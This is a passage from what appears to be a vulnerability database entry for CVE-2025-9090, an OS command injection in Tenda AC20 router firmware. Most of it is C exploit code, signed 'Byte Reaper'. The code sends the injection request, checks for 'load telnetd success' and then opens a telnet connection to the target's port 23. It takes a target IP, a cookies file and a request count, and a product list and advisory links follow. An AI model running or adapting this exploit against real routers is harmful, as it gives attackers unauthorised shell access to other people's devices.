CURLE_OK) { printf("\e[0;36m[+] Request sent successfully.\e[0m\n"); if (verbose) { printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=======================================================================================================================================\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", http_code); if (http_code >= 200 && http_code < 300) { printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n"); printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m===============================================================================================================================================\e[0m\n"); printf("\e[0;35m[+] Check response server...\e[0m\n"); if (response.buffer) { if (strstr(response.buffer, "load telnetd success") != NULL) { printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n"); printf("\e[0;36m[+] Injected successfully.\e[0m\n"); } } printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n"); printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23); int value = connectionTelnet(ip); printf("\e[0;35m[+] Result Connection : =============================\e[0m\n"); int useCommand = 0; if (value == -1) { printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n"); printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80); useCommand++; goto command; } else if (value != -1) { printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value); printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n"); } command: if (useCommand != 0) { int value2 = systemCommand(ip); if (value2 == 1) { printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n"); } else if (value2 == 0) { printf("\e[0;34m [+] Run command Success.\e[0m\n"); } } printf("\e[0;35m=====================================================\e[0m\n"); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n"); printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n"); if (response.buffer) { response.buffer[response.len] = '\0'; if (strstr(response.buffer, "Not found") != NULL || strstr(response.buffer, "was not found on this server") != NULL) { printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n"); printf("\e[0;31m[-] Not found endpoint !\e[0m\n"); printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n"); } } else { printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n"); } } } else { fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code)); exit64bit(); } } } int main(int argc, const char **argv) { printf( "\e[1;31m" " ▄████▄ ██▒ █▓▓█████ \n" " ▒██▀ ▀█▓██░ █▒▓█ ▀ \n" " ▒▓█ ▄▓██ █▒░▒███ \n" " ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n" " ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n" " ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n" " ░ ▒ ░ ░░ ░ ░ ░ \n" " ░ ░░ ░ \n" " ░ ░ ░ ░ ░ \n" " ░ ░ \n" "\t \e[1;31m [ Byte Reaper ] \e[0m\n" ); printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ipT, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loopF, "Number request (-f 4 = 4 request)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (ipT == NULL) { printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n"); exit64bit(); } if (cookies != NULL) { fileCookies = 1; } if (verbose) { verbose = 1; } if (loopF != 0) { printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF); for (int n = 0; n <= loopF; n++) { printf("\e[1;35m[+] Another request: =============================================\e[0m\n"); endPoint(ipT); } } endPoint(ipT); return 0; }

Products Mentioned

Configuraton 0

Tenda>>Ac20_firmware >> Version 16.03.08.12

    Tenda>>Ac20 >> Version -

      References

      https://vuldb.com/?id.320358
      Tags : vdb-entry, technical-description
      https://vuldb.com/?ctiid.320358
      Tags : signature, permissions-required
      https://vuldb.com/?submit.632232
      Tags : third-party-advisory